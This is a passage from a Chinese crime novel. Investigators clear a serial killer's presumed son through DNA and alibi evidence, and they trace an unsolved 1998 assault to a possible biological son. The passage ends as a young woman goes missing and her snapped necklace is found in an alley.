唐宋低下头,脸上的肌肉不自觉地抽动了一下,嗓音也变得有些干涩:“程先生,当初在西临市我不顾一切帮助你们,并不要求你们感谢我或者怎么样,可你现在把我带到这里,特地揭我的伤疤,是不是有点过分了?”
程述没有露出任何愧疚的神色,而是笑了笑:“别急,我还没说完呢。你从小就很自卑,不仅是因为在学校里被人欺负,长期生活在存在暴力、忽视或情感冷漠的家庭环境中,也让你形成了不安全依恋。你一直压抑着对你父亲的愤怒,但同时又渴望得到他的关注。”
唐宋脸色涨红,正要说些什么,程述却对他晃了晃食指,示意他先安静。
他接着说:“因此在得知他的所作所为后,你想要通过模仿他的犯罪行为来来跟他建立联系,证明自己也有能力掌控他人的生命,找到自我的价值感。这就是你杀人的原因。”
“当你把刀插进那些女孩的身体里时,是不是感受到了跟你父亲一样的变态的快感?可惜你父亲已经死了,你没办法得到他的认可,新闻媒体也对你的‘杰作’只字不提。没有得到大众的关注,是不是让你感到十分愤怒?”
程述的声音回荡在审讯室冰冷的墙壁之间,唐宋浑身一哆嗦,声音颤抖:“你胡说,我、我没有杀人!真的不是我,你们搞错了!”
祝好正凝神听着审讯室里的对话,一名警员突然走过来,低声在秦聿风耳边说了几句话。秦聿风脸色微变,跟在他身后离开了。
几分钟后,审讯室的门突然被推开,秦聿风走到桌子前拍了拍程述的肩膀,用眼神示意他先暂停,然后跟他一起回到了监控室。
审讯突然被打断,程述有些不耐烦:“怎么了?”
秦聿风说:“唐凤仪来了,现在正在接待室里又哭又闹的,说唐宋不是凶手。”
程述怒极反笑:“那又怎样,难道你想让我去安慰她啊?还是说只要家属闹一下就可以放人了?”
秦聿风强忍住要揍他一顿的冲动,叹了口气,无奈道:“她说,唐宋不是顾远乔的亲生儿子。”
第205章
刚走到接待室门口,祝好就听到唐凤仪带着哭腔的声音从里边传来:“你们抓错人了,唐宋不可能会做这种事情的。”
秦聿风问身旁的警员:“DNA鉴定报告需要多久?”
“刚才温主任说大概三到四个小时。”警员看了眼时间,说道:“应该还有一个多小时,结果就能出来了”
——唐宋刚到警局时,警方就已经采集了他的血样,虽然DNA的比对结果同样能告诉他们真相,但如果唐宋真的不是顾远乔亲生儿子,或许只能从唐凤仪那里获得另外的线索。
接待室的门被推开,唐凤仪闻声抬起头。
负责接待的警员跟他打招呼:“秦队。”
唐凤仪也认出了秦聿风,几乎是从沙发上一跃而起扑到他面前,扯着他的手臂鸣冤:“领导,真的不关唐宋的事,他什么也没做,你们抓错人了!”
她头发凌乱、双眼通红,身上的围裙还没来得及解开,看得出应该是匆匆从家里赶过来的。
秦聿风没有计较她之前无礼的态度,扶着她重新在沙发上坐下,不置可否:“我们把唐宋带回警局也是正常接受调查,只有调查清楚了才知道跟他有没有关系。”
说完又循循善诱:“不过如果你能把你知道的都告诉我们,才能更快洗清他的嫌疑,你说呢?”
唐凤仪怔了怔,局促地抠着自己的指甲缝,没有吭声。
程述没有秦聿风那样的耐心,直接问道:“你到底知不知道顾远乔之前干了什么事?”
唐凤仪把头埋得很低,睫毛一颤,眼泪就“啪嗒”落了下来,讷讷地说:“……他没有跟我说过。”
程述声线冷硬:“他没有跟你说过,不代表你不知道。”
“我……”唐凤仪顿了顿,才说:“有一回我帮她洗衣服,发现他的口袋里有一张照片,上面是一个被绑起来的年轻女孩……那个女孩,我在电视上发布的寻人启事上见到过。”
“那你上回为什么不说实话?”
唐凤仪嗫嚅道:“我只是想着他人都死了,那些事情也都过去了,不提也罢。但我和唐宋是无辜的,我们什么也没做。”
程述被她这番言论气得神色紧绷,眼底泛起一股压抑的怒气:“是啊,你什么都没做,只是知道一切却没说出来而已。只要顾远乔还能工作挣钱养活你们母子,哪怕知道有多少无辜的受害者惨死在他手下,也跟你无关,对吗?”
唐凤仪被他这一声吼吓得一哆嗦,顾不上涕泗横流,急切地为自己辩解:“我没有技能,没有学历,什么都不会,可我还要养活我儿子!我只是不希望他做的事连累我儿子,如果他真的是什
么连环杀手,我们一辈子都要替他背负那些骂名了!”
真是以爱为名的自私。
程述不想再跟她争辩什么,捏着眉心叹了口气。
祝好抬起手轻轻碰了碰他,给他递上一个安抚的眼神,程述看着她的眼睛飞快扯了下嘴角,用眼神回应她自己没事。
坐在他们对面的秦聿风将这些细微的举动尽收眼底,不动声色地抽回目光,调整了一下情绪,转头问唐凤仪:“你刚才说,唐宋不是顾远乔的亲生儿子?”
唐凤仪含含糊糊地说道:“他是我……跟我一个老乡生的。”
秦聿风:“说详细点。”
“他是个邮递员,当时我刚结婚不久,有一回他来送快递,正好碰上家里的水龙头坏了,顾远乔又不在,他就顺手帮我修好了。我过意不去,就留他在家吃了顿饭,聊天时才知道他跟我竟然是同乡,一来二去我们就认识了,然后就……”
程述对她的情史并没有兴趣,打断她的话:“你做过亲子鉴定吗?为什么能确定唐宋不是顾远乔亲生的?”
唐凤仪诚惶诚恐地避开他的目光:“因为顾远乔……他没有生育能力。”
祝好心念一动,想起在程述之前的犯罪心理剖绘中,曾说过指甲油杀手习惯用刀杀人的行为其实是性无能的一种表现。
她挪了下位置,往唐凤仪坐近了一些,压低声音试探性地问她:“唐阿姨,顾远乔是不是那方面不太行?”
对于唐凤仪这个年纪的女性来说,这样的话题实在有些难以启齿,她踌躇了好一会儿,才点了点头:“我跟他结婚半年一直没过过夫妻生活,他每次都找理由拒绝,后来我才发现,他那里……是坏的。”
“具体怎么个坏法?”
唐凤仪又一次低下头,低声回答:“他那个地方好像是受过伤,没法儿用了,就是……硬不起来。”
程述追问:“是偶尔没用,还是一直没用?”
“一直……都是这样。”
程述和秦聿风对视了一眼,如果唐宋不是顾远乔亲生的,那地下室和抛尸现场采集到的生物信息样本又会属于谁?
秦聿风再次叫来一名警员,让他去法医办公室继续催一催温珣,然后又回到和唐凤仪的对话中,问道:“顾远乔知道你怀孕之后有什么反应?”
“他一开始很生气,摔坏了家里好多东西,我本来以为他会逼着我去把孩子打掉,没想到他却跟我说让我生下来。”
秦聿风问:“为什么?”
唐凤仪摇了摇头:“我也不知道。”
程述冷笑道:“你真的不知道吗?其实你应该很清楚,顾远乔对你和唐宋没有任何感情,你们只是他用来伪装自己的工具——毕竟很少有人会把一个工作稳定、家庭和睦的男人跟连环杀人犯联系在一起。”
唐凤仪缄默不语。
祝好忍不住问:“既然你知道顾远乔做的事,又怀了别人的孩子,为什么不干脆跟他离婚?”
唐凤仪鼻子一抽,眼泪又下来了:“你以为我不想吗?我本来想着要离开他回老家,可是没过多久我那个老乡的电话就突然打不通了,我还偷偷打电话去他单位里问过,可他们单位的人说他很久没去上班了,没有人知道他去了哪里,我也不敢多想。”
“从那之后我就死心了,特别是后来我生下了唐宋,虽然顾远乔一点也不关心他,但至少他还能保证我们的日子照常过下去。当初顾远乔诊断出白血病的时候我就觉得这是他的报应来了,可惜上天还是眷顾他,让他多活了几年,他作恶多端,应该早点死的!”
程述半带嘲讽地扫了她一眼:“对啊,他作恶多端,如果当初你早点报警,他现在早就死了。”
唐凤仪咬了咬嘴唇没吭声,垂头摆弄着围裙的衣角。
程述长吁了一口气,努力压服情绪,问道:“跟我们说说顾远乔吧。”
“说什么?”
“你跟他在一起生活了这么久,应该是唯一一个比较了解他的人了。”程述说:“说说看他是个怎么样的人,还有他的成长历程。”
唐凤仪沉默了好一会儿,才说:“这些他跟我说的不多,我只知道他母亲跟他父亲是在歌舞厅认识的,他父亲是个小老板。他母亲刚怀上顾远乔没多久,他父亲就突然消失了,后来才知道他其实在别的城市早就有了家庭,根本没打算认真对她。”
“顾远乔出生后,他母亲对他很不好,经常打骂他,把对他父亲的怨恨都发泄在他身上。我跟他刚结婚不久,他母亲就因为中风而瘫痪了。他把她送进了疗养院,时不时会去探望她,但从没要求我和唐宋去过,所以我跟他母亲也没见过几面。”
“他母亲去世后的那段时间,新闻报道的连环杀人案突然变多了。后来我才想起来,之前每一次有人遇害,要么就是他工作上被领导刁难,要么就是知道我怀孕……”
社会文化中“父亲”通常象征着规则、保护和责任,童年父亲角色的缺席导致顾远乔没办法通过正常渠道建立健康的身份认同,母亲的虐待行为又使得他对女性产生了既依赖又憎恨的矛盾情感。
于是在遇到人生中难以解决的困难时,顾远乔就会通过杀戮行为来挑战母亲所代表的“女性权威”,以补偿男性力量的缺失,获得扭曲的心理满足。
接待室的门被敲响,温珣带着一份报告匆匆走进来递给秦聿风:“秦队,鉴定结果出来了,唐宋和顾远乔之间不存在亲子关系,他的DNA也跟地下室和抛尸现场采集到的不符。”
程述从他手里拿过那份鉴定报告,看着上面的结果,眼神蓦地黯淡了。
又一名警员走进来,俯身跟秦聿风汇报:“秦队,我们调取了2月17日和2月20日晚上唐宋居住的小区的监控,确认他下班回家后就一直没有离开过。”
看到他们露出失望的神色,唐凤仪小心翼翼地问:“领导,唐宋是不是没事了?”
秦聿风扶着额头,朝警员摆了摆手:“去把唐宋放了吧。”
唐凤仪闻言破涕为笑,从桌上抽了几张纸擦干净脸上的泪痕,欢天喜地跟在警员身后离开了。
本来以为找到顾远乔的地下室后,就能顺藤摸瓜把第二代指甲油杀手揪出来,没想到案子又走进了死胡同里。
秦聿风叹了口气,问道:“老程,你有什么看法?”
程述默不作声地摇了摇头,向后靠在椅背里,眼神空茫茫的,不知在想些什么。
既然唐宋有十分充分的不在场证明,那就说明杀害夏嫣和严雪儿的凶手另有其人。可那份DNA明明就与顾远乔存在亲子关系,如果顾远乔并没有性能力,那凶手还会是谁?
祝好突然想到刚才唐凤仪说过,顾远乔之所以没有性能力是因为他的生殖器受过伤。她掀起眼皮,目光在程述、温珣和秦聿风之间游移片刻,清了清嗓,问道:“咳,话说,男性生殖器受到什么样的伤会导致无法勃/起?”
秦聿风愣了一下,耳尖有些泛红,把问题扔给了温珣:“温主任,你来解答一下。”
温珣推了推眼镜,回答道:“最常见的可能是海绵体损伤和神经损伤,不过海绵体损伤还可以通过手术修复,神经损伤的话治疗起来难度会更大,有可能终身都没办法恢复。”
祝好又问:“什么情况会造成神经损伤?”
“一般是受到重创、钝器击打,高处坠落等外伤导致的。”
祝好想了想,提出一个猜测:“唐凤仪是在结婚后才发现顾远乔没有性能力的,那会不会在结婚之前——或者说受伤之前,顾远乔就有过一个孩子?”
第206章
秦聿风却摇了摇头:“顾
远乔的资料显示他只有跟唐凤仪这一段婚姻,我们走访调查过他的同事和之前的邻居,也证实他结婚之前几乎都是独来独往,从来没有人见过他身边有其他女孩。”
没有过其他恋人,也没有过婚史,那孩子又会是怎么来的呢?
程述突然说:“其实我们完全可以换个思路,顾远乔可不是什么好人,这个孩子不一定是他的伴侣生的。”
祝好立刻明白了他的意思:“你是说,在他失去性能力之前,很有可能有过别的犯罪行为,比如说侵犯女性?”
程述不置可否:“刺伤受害者的行为是他性压抑的替代性宣泄,说明他并非没有欲望,而是有心无力。”
祝好脑子里突然蹦出一个猜想:“难道说,蒋婷婷并不是第一个受害者?”
蒋婷婷是在2000年初遇害的,当时顾远乔已经和唐凤仪结婚了,尸检报告也显示她并没有遭到侵犯。
程述点点头:“或者说蒋婷婷只是他成功杀害的第一名受害者,在她之前说不定还有其他受害者,但因为运气好或是顾远乔的疏忽而成功逃脱了。”
祝好略一思索,问温珣:“如果男性生殖器被狠狠踹一脚,是不是也会导致神经受损?”
温珣点点头:“有这个可能。”
有了一个合理的假设,接下来的思路就更容易捋清了。
“如果顾远乔的下/体曾经受过伤,导致神经受损、无法勃/起,那他受伤的原因会不会就是在那时遭到了反击?”
秦聿风的目光在程述和祝好的脸上飘了一阵,突然笑了:“你俩的脑电波是连着的吧?我还没反应过来呢,你们就知道对方要说什么了。”
程述一挑眉,只当这是一句夸奖,又说:“今晚可能要辛苦你的人办一件事。”
“什么?”
“把1990年到2000年淮江市范围内年轻女性被侵犯的报警记录筛查一遍,里面说不定就有我们要找的人。”
秦聿风闻言嘴角一抽,硬生生把到了嘴边的国粹咽了回去:“你是在跟我开玩笑吗?”
且不说翻查二三十年前的报警记录就如同大海捞针,更何况当时女性的思想还比较保守,就算真的遭到了侵犯,也很有可能因为担心受到报复和被旁人议论而选择忍气吞声,自然也就不会留下记录。
程述不以为意地耸了耸肩:“既然现在找不到证据,那就只能从以前的开始找,不然秦警官还有别的办法吗?”
秦聿风没应声,虽然这样的侦察方向跟碰运气没什么区别,但眼下也的确找不到更好的办法。
排除了唐宋的嫌疑之后,所谓的二代指甲油杀手仍在逍遥法外。而NPK发布的那张帖子中曾说过“之前的游戏有些玩腻了,我已经想好了新的玩法”,谁也不能确认那是挑衅警方的厥词,还是他真的在酝酿着什么危险的“新玩法”。
思忖片刻后,秦聿风一咬牙,说了句“行”,然后给手下的警员打去了电话。
没多久,几大箱案卷材料就堆满了会议室的办公桌。
秦聿风敲了敲桌子,朝一干警员交代道:“这是1990年到2000年间所有女性受侵害案的报警记录,我需要大家帮我找出报警人为18至25岁的年轻女性,再跟出警记录交叉比对,筛查出至今没有找到嫌疑人的案件,时间紧迫,我们越快越好——老程。”
程述正翻看一份报警记录,抬起头:“嗯?”
“范围还能再缩小吗?”
程述用圆珠笔敲了敲下巴,沉思片刻,问道:“当时顾远乔的住址在哪?”
有警员回答:“在电视台旧址附近。”
“给我一份二十年前淮江市的地图。”
秦聿风朝技术员使了个眼色:“快。”
技术员点点头,没一会儿就在电脑上找到了一份地图,并把屏幕转向程述。
程述说:“超过60%的犯罪发生在作案人居住或工作地3公里的范围内,特别是对于首次犯案的作案人来说,熟悉的地点更方便他们逃离作案现场。”
他中指轻轻一动,圆珠笔在他手上转了一圈后又顿住,笔尖在地图上虚划了一个圈:“可以着重排查这个区域内发生的的案件。”
秦聿风直起腰拍了拍手:“听到了吗?着重排查那十年间电视台旧址3公里范围内发生过的性侵案件,大家今天晚上辛苦点,宵夜我请客。”
会议室里响起一阵惊呼,有警员举手问:“秦队,还是上回那种高级宵夜吗——诶!”
秦聿风把手里的纸揉成一团砸到他脑袋上,打断他的话:“没有什么高级宵夜,只有包子豆浆煎饼果子,爱吃不吃,不吃就饿着肚子熬夜。”
警员们嘘声一片,但玩笑归玩笑,大家还是很快各自分配好任务,投入到工作中。
祝好也拿了其中一摞,找了个位置坐下,仔细翻看起来。二三十年前电脑还没那么普及,所有的报警记录都是手写的,经年日久,许多纸张都已经泛黄,潦草的笔迹记录下的一字一句冗长无味,却又沉重无比。
时间一分一秒过去,会议室里格外安静,只有纸张翻动的簌簌声、杯底与桌面碰撞发出的脆响和偶尔的几句低声交谈。
祝好把一本看完的记录放回桌上,刚揉了揉酸胀的眼睛,面前突然递过来一杯冒着热气的咖啡。她转头看去,对上了秦聿风含着笑意的双眼。
“先歇会儿吧,喝杯咖啡提提神。”
祝好接过杯子抿了一小口:“谢谢。”
秦聿风扯过一张椅子在她身边坐下,随手拿起她看过的报警记录翻了翻。
祝好提醒他:“这些我已经看过了,没发现什么可疑的。”
秦聿风点点头,却没把那本记录放下,只是往程述的方向瞥了一眼,漫不经心说道:“对了,我姑妈又有新的房子要出租了,价格还是很实惠,地段也很不错。”
祝好忍不住笑:“你姑妈怎么有那么多房子?”
秦聿风掩嘴干咳了一声,不答反问:“那你还打算换个新地方住吗?”
虽然上回那个房子的条件和价格都十分诱人,不过考虑到程述才刚把阁楼里的家具全都换成了新的,她如果搬走的话,那些家具不就白买了吗?
她摇摇头婉拒:“不用了,搬家太麻烦,而且我在程述那儿也住习惯了。”
“哦……”秦聿风脸上的笑意渐黯,没头没脑地说了句:“你好像好久没叫他‘老大’了。”
祝好一愣,下意识抬眼看他。他脸上没变换太多神色,却带着一丝不太自然的落寞。
但只是一瞬间,他又重新露出笑容,那些落寞尽数消散,就好像一切只是她的幻觉。
祝好不知要怎么回答,只得含糊道:“是吗?”
秦聿风刚要说什么,一个似笑非笑的声音就从他们身后传来。
“你们在聊什么呢?”程述把手搭在秦聿风的肩膀上问道。
秦聿风若无其事地笑了笑:“没什么,随便聊聊。”
程述啧了一声:“我怎么好像听到什么房子、搬家之类的。”
秦聿风面不改色:“你熬夜太久,出现幻觉了。”
程述拉过一张椅子大剌剌在他们中间坐下,顺手从祝好手里拿过她的杯子,把里面剩下的咖啡一饮而尽,又把杯子还给秦聿风:“这咖啡怎么一股烟灰水的味儿。”
秦聿风紧紧捏住手里的杯子,眯起眼睛一言不发地看着程述。程述抬起下巴,勾着嘴角迎上他的目光。
安静的空气中仿佛噼里啪啦炸开一串火光,祝好赶紧扬了扬手中的材料,截断了他们交错的视线,岔开话题:“大家都在辛苦干活,你们也别趁机偷懒。”
“对啊,老秦,你也别偷懒。”程述拿起那本材料塞到秦聿风手里,朝他挥了挥手,那意思就是“有多远滚多远”。
秦聿风还想说些什么,但最终还是压下了怒意,捏了捏他的肩膀:“先忙正事,等案子办完我们再切磋切磋,上次——”
程
述微笑着一耸肩,接过他的话:“上次还没输够啊?”
秦聿风刚要发火,不远处有警员叫他:“秦队,你来看看这个。”
“下次我不会放水了,你等着。”秦聿风撂下一句话后,转身忙活去了。
世界终于安静下来,祝好揉了揉太阳穴,重新把注意力集中到面前那一摞案卷材料上。
当浓黑的夜幕被撬开一个角,天边露出淡淡的青色时,会议室里已经哈欠连天,一片狼藉,到处充斥着烟味和咖啡味,但一晚上的努力也终于有了些成果——排除掉报假警的、当事人有感情纠葛的和嫌疑人已被抓获的,筛查目标缩小到了三十多个。
这个消息显然比咖啡和尼古丁更能提神,警员们皆是精神一振,纷纷击掌互相鼓劲,准备投入下一轮的“战斗”。
祝好也伸了个懒腰,低头继续看手里的那份案卷——这一晚上类似的案情看了太多,密密麻麻的文字映入眼帘,大脑的运转都变得迟缓了。
她一目十行地扫过一句句控诉,刚要翻到下一页,目光却突然被几个字截住了——“指甲油”。
指甲油?
她心头一跳,赶紧把那份报案记录从头又看了一遍。
这起案件的报案时间是1998年的8月13日,报案人名叫涂秀丽,当年只有23岁,是一家私人诊所的护士。
而那家诊所,离当时电视台的旧址不到一公里。
根据报案记录记载,涂秀丽称自己在下夜班的途中被人绑架,对方把她敲晕后对她实施了侵犯,并试图用麻绳将她勒死。但当时涂秀丽只是晕了过去,等她醒来时发现对方正在给她涂指甲油,于是奋力反抗,狠狠朝对方的裆部踢了一脚,趁着他痛得满地打滚时成功逃脱。
祝好赶紧拍了拍程述,示意他跟自己一起看手里的这份案卷材料。
逃脱后的涂秀丽因为太过害怕,并没有选择在第一时间报警,而是匆匆跑回家里,直到第二天才在朋友的陪同下去了警局。
由于她受到侵犯回家后立刻洗了澡,所以当时警方并没有能从她身上提取到作案人的DNA,而且据她所说,作案人全程戴着头套,根本看不清脸。
这起案子虽然性质恶劣,但由于没有足够的线索,最后也只能不了了之。当时指甲油杀手案还没有发生,涂秀丽手上的指甲油也仅被当成某种变态的恶趣味,并没有引起重视。
这位名叫涂秀丽的报案人会不会就是顾远乔的第一位受害者?
程述朝秦聿风招了招手:“老秦,有发现。”
正事面前,秦聿风立刻把刚才的小插曲抛之脑后,接过他手里的材料快速浏览完,露出一丝惊喜的神色。
他拿着那份材料快步走到技术员身边:“小孙,赶紧查一下能不能联系到这个涂秀丽。”
电脑屏幕把技术员疲惫的面庞映得发白,她提起精神,手指在键盘上噼里啪啦地敲击:“有了!1998年9月初,也就是那件事发生后不久涂秀丽就从诊所辞职了,独自一人搬去了其他城市,从档案上看,她一直没有结婚……”
说到这儿,她语气有些失落:“秦队,涂秀丽半年前已经因病去世了。”
程述问:“她有孩子吗?”
“稍等。”技术员继续敲着键盘,布满红血丝的双眼忽地亮了:“她有个儿子名叫涂焕新,今年26岁,出生日期是1999年的5月份。”
涂秀丽是1998年8月份报的警,按照时间推算,她很有可能就是在那之后发现自己怀孕了,或许因为害怕遭到打击报复,又或许是担心周围的流言蜚语,她独自一人搬到了其他城市,并在那里生下了孩子。
没有人知道她选择将侵犯自己的人的孩子生下来时,内心经历过怎么痛苦的挣扎,也没有人知道她是如何一个人在陌生的城市含辛茹苦将孩子拉扯大——这一切都随着她的离世,永远变成了晦暗的秘密。
“能查到这个涂焕新的资料吗?”秦聿风一开口,才发现熬了一个大夜声音都有些沙哑了,他清了清嗓,说道:“他的学历、账户、消费记录、出行记录、住址等等,全部彻查一遍。”
“可以是可以,但可能需要点时间。”技术员捶了捶因为久坐而酸痛不已的腰,拿起桌上的杯子时,才发现里面已经空了。
墙上的挂钟时针即将指向六点,会议室里所有人都面露倦意,眼睛下面皆是挂着两个巨大的黑眼圈。
秦聿风转头看了眼窗外微微泛白的天空:“大家先休息几个小时吧,家离得近的回家睡会儿,离得远的在这儿应付一下。”
又对祝好和程述说:“你们也先回去吧,等有了消息,我会第一时间通知你们。”
第207章
淡青色的天际边浮着半轮将要熄灭的月亮,大街上路人寥寥,只有清洁工的竹扫帚扫过柏油路面发出簌簌的声响。随着路灯一盏一盏熄灭,沉睡了一夜的城市也逐渐苏醒。
走出警局时,程述的手机突然响了,他拿起来看了一眼,皱了皱眉,挂断了电话。
祝好好奇:“大早上谁给你打电话?”
“李福满。”
“李福满找你干什么?”
“不知道。”
祝好哭笑不得:“那为什么不接?”
程述:“不想接,反正这家伙也不会有什么正经事。”
刚才在警局里还不觉得困,可刚坐到车上倦意就席卷而来,伴着偶尔轻微的颠簸,祝好的眼皮越来越沉,不知不觉睡了过去。
途中她被一阵手机铃声吵醒,迷迷糊糊睁开眼,看到程述一手把着方向盘,一手拿起手机看了一眼,然后调成了静音。
过了好一会儿,程述轻轻把她摇醒:“醒醒,到家了。”
祝好不情不愿的应了一声,却不想睁开眼睛——集中注意力看了一晚上秘密麻麻的文字,大脑实在有些疲惫,她甚至想就这么在车里应付一觉算了。
“起来了,回家躺着睡不更舒服吗?”程述替她解开安全带,捏了捏她的脸颊。
祝好继续闭着眼睛装死,突然听到程述自言自语的喃喃:“啧,睡得那么死,就算我现在对你做点什么你应该也不会知道吧?”
她倏地睁开眼睛,腾一下坐直了。
程述露出一脸不怀好意的笑:“精神了?”
祝好:……
拖着疲惫的步子回到楼下,刚走进楼道里,房东大妈养的小白狗就隔着门狂吠起来。
准备走到五楼时,祝好正低头从口袋里摸索钥匙,余光却瞥见楼道里蜷缩着一团黑影,把她吓得差点叫出声。
定睛一看,才发现竟是个人。
那人听见动静抬起头,看到祝好,激动得差点蹦起来:“嫂子!”
嫂子?就着楼道里昏暗的灯光,祝好才看清眼前的人是刘二虎,他那一头杂草似的黄毛染回了黑色,脸上青一块紫一块,颧骨上还贴了块纱布,像是被谁暴揍了一顿,不仔细看差点认不出来。
“刘二虎,你怎么在这儿?”
刘二虎没搭话,目光越过祝好的肩膀,看向她身后的程述:“程哥,您终于回来了!”
程述脸上闪过一抹诧异的神色:“二狗?”
刘二虎似乎有更着急的事,甚至没再纠正程述对自己的称呼,跟见到救命恩人似的一把抱住他。
楼道里本就逼仄,程述没料到他会突然扑上来,下意识往后退了一步,幸亏他眼疾手快一把抓住了楼梯扶手,才不至于踩空摔下楼。
他稳住身形,边把刘二虎从自己身上扒拉下去边骂道:“你有病吧,抱我干什么,放手!”
刘二虎对他的话置若罔闻,仍是紧紧抱着他不肯撒手,声音里带着哭腔:“程哥,我让满哥给你打电话,但你一直没接,我就只好找到你家里来了,你一定要帮帮我!”
程述无奈:“你被人打了不去找李福满找我干什么,他才是你大哥。”
刘二虎哀求道:“不是这件事!你先答应一定要帮我!”
这栋房子年纪大了隔音不好,祝好担心吵到周围的邻居,赶紧用钥匙开了门,给程述使了个眼色:“进屋说吧。”
程述一把揪住刘二虎的后领,拽着他进了家里,把他扔在沙发上。
白眼狼本来正守在门口等着迎接一夜未归的两脚兽,却冷不丁迎来了一个陌生人。它警惕地盯着缩着肩膀坐在沙发上的刘二虎,凑上前嗅了嗅他的裤腿。
刘二虎抬起一只脚,小心翼翼问祝好:“嫂子,它不会咬我吧?”
祝好没好气:“会,它不仅会咬你,说不定还会吃了你。”
刘二虎闻言赶紧挪动屁股,远离了那只白毛巨兽。
程述走进厨房里打了一杯水一口气喝光,指着他的鼻子:“别啰嗦,有屁快放,我一晚没睡了,没心情跟你唧唧歪歪的。”
刘二虎这才从白眼狼的体型带来的震惊中回过神,想起自己来的目的:“程哥,我有个朋友叫小桃,她下班后一直没接我电话,我去了她上班的地方才知道她早就离开了,你能不能帮我找找她?”
程述火气噌一下上来了:“找不到人你去报警啊,找我干什么?”
刘二虎解释:“我去过了,警局说失踪时间不到48小时,不能立案。”
祝好皱着眉问:“你朋友失踪多久了?”
刘二虎抬头看了眼墙上的
钟,说道:“快三个小时了。”
程述捏了捏眉心,一脸的“你他爹的在逗我吗”,指着门口的方向下了逐客令:“滚!”
情急之下,刘二虎“扑通”跪倒在地,抱住了程述的大腿:“程哥,你听我解释,我答应过小桃的爷爷奶奶会照顾好她,我不能让她出事。我听满哥说你可厉害了,你要收多少钱都行,我、我可以攒了慢慢付!”
“起来,别跪我,你不怕折寿我还怕呢。”程述把他从地上拎起来,问道:“那个小桃多大年纪?”
“上个月才刚满20岁。”
祝好问:“她是不是去了别的地方没告诉你?”
刘二虎把头摇得像拨浪鼓:“不会,小桃很听话的,我跟她说了下班后就直接回家,到家了就给我打个电话报平安——你也知道城中村那片有多乱,什么人都有。她平时都会乖乖照做,可是昨天晚上她下班之后就没给我打电话,我给她打电话她也一直不接。”
还没等程述说话,他又接着道:“程哥,最近新闻不是说有个连环杀手专门盯着年轻女孩吗?我担心小桃她……她绝对不能出事,她的爷爷奶奶年纪都很大了,如果她出事了他们要怎么办?”
看刘二虎急得眼泪都要下来了,祝好问:“你有小桃的照片吗?”
“有的有的。”刘二虎赶紧从口袋里掏出手机,找到一张他和小桃的合影递给祝好。
照片上的小桃留着齐肩的短发,对着镜头露出一脸青涩的笑。
祝好赶紧拍了拍程述:“你看看。”
程述看了一眼屏幕,眉头倏地拧起:“她身高多少?”
刘二虎看了看祝好,比划说:“跟嫂子差不多。”
程述把手机扔回给他:“走,带我们去她上班的地方。”
*
在路上,刘二虎大致跟他们介绍了小桃的身世。小桃全名叫刘小桃,她家跟刘二虎家挨着,两个人既是邻居又是从小到大的玩伴,刘二虎一直把她当妹妹来看。
小桃的爸爸妈妈很早就去世了,是家里的爷爷奶奶把她抚养长大,春节时她听回家过年的刘二虎说城市里地方大、机会多,便收拾行李跟着他一起来了淮江市。
靠着在李福满身边积累起来的那一点人脉,刘二虎帮小桃找了份大排档服务员的工作,虽然要工作到半夜,但工资相对来说还算可观,足以让她在这个城市里生活下去,还能攒点钱给家里的爷爷奶奶养老。
程述问:“你什么时候发现联系不上她的?”
刘二虎:“她凌晨四点钟下班,下班前还给我发了信息,我让她到家后跟我说一声就去忙了,忙到快五点才发现她一直没给我打电话报平安,就给她打了过去,结果她一直没接。”
“当时大排档早就关门了,我去了她家敲门她也不开门。我担心她出什么事,赶紧去报了警,可是被警察赶出来了,求满哥给你打电话你也不接,就只能找到你家里去了。”
祝好问他:“那你这脸怎么回事?”
刘二虎下意识抬手摸了摸脸上的淤青:“这个啊,前几天小桃跟我说最近下班时总有人跟着她,我就一连几天守在她下班的路上,别说,还真让我逮到了那个孙子。”
“然后呢?”
刘二虎在后座上手舞足蹈地比划起来:“然后……然后我上前想警告他,没想到那孙子居然给了我一拳,还好虎爷我灵活,躲开了,就跟他搏斗起来,我当时一个左钩拳打到他下巴上,又朝他肚子上来了一个横踢……”
他话说到一半,在后视镜里对上了程述审视的目光,声音不自觉越来越低:“咳,没想到那孙子身手还挺好的,不仅躲过了我所有的攻击,还把我揍了一顿,然后就开车跑了。”
祝好:……
她给秦聿风发了条信息,请他把涂焕新的照片传过来,又问刘二虎:“你有没有看清跟踪小桃的那个人长什么样?”
刘二虎挠了挠脑袋:“没看清,那孙子戴着口罩,长得挺结实的。不过从那次之后就没听小桃说有人跟着她了,可能是我的气势把他吓到了吧。”
祝好槽多无口,默默翻了个白眼。
小桃上班的大排档就在台球厅附近,凌晨两点左右结束营业后还要打扫完卫生才能下班,所以她离开的时间大概在四点左右。
程述把车停在路边,说道:“刘小桃平时下班走的是哪条路?”
刘二虎往前几步走到程述跟前:“她租的房子也在城中村里,离我住的地方不是很远,从这儿走过去大概要十多分钟。”
说着他把祝好和程述领到了大排档后门的巷子,巷子走到头拐进另一条巷子,走各几十米后再过一条马路,就到了城中村的入口。
这一路上,除了马路有一个交通摄像头之外几乎没什么监控,不过城中村里有几家按摩店和宵夜摊一直开到天亮,如果真的是有人在路上把小桃掳走,最佳的选择应该就是从大排档后门到马路的那两段巷子。
第208章
熹微的阳光被两侧的高墙拦截,大排档狭窄肮脏的后巷依旧光线昏暗,有只流浪猫正在啃食没来得及收走的垃圾,听到动静后轻轻跃上墙头,很快消失不见。
刘二虎边走边絮叨:“这里到了晚上几乎没有人经过,但是能很快走到城中村,所以小桃每天回家都走这条路。”
程述没说话,打开随身携带的手电筒边走边观察脚下的路。巷子里很安静,只有他们的脚步声交叠回荡在其中。
即将拐进另一条巷子的时候,刘二虎指了指拐角处,说道:“前几天我就是在这里守着的,刚好就碰到那个孙子鬼鬼祟祟跟在小桃身后。”
程述笑:“然后你就被揍了?”
刘二虎尴尬地揉了揉鼻子没应声。
手电筒的光束扫过巷子的每一个角落,忽然一道细微的反光吸引了祝好的注意,定睛一看,瞧见墙根处有一条银色的项链。
她蹲下身,用食指和拇指捻起那条项链,才发现项链从中间被扯断了。
刘二虎惊呼:“是小桃的项链!这是她妈妈留给他的,她一直戴在身上,爱惜得很。”
说完又突然意识到什么,声音有些发颤:“怎么办呐,程哥,嫂子,小桃不会是真的出事了吧?”
祝好没答话,心里却生出一些不祥的念头:正常人不会无缘无故将如此有纪念意义的项链扯断扔在地上,最大的可能性是小桃在路
上突然遭到了袭击,挣扎中脖子上的项链被扯断后掉落在地。
从大排档后门的巷子往前走一段,再拐进这条巷子走到头,就能看到马路对面的城中村,如果小桃是在这里被掳走的,那么对方很有可能是提前把车停在了路口。
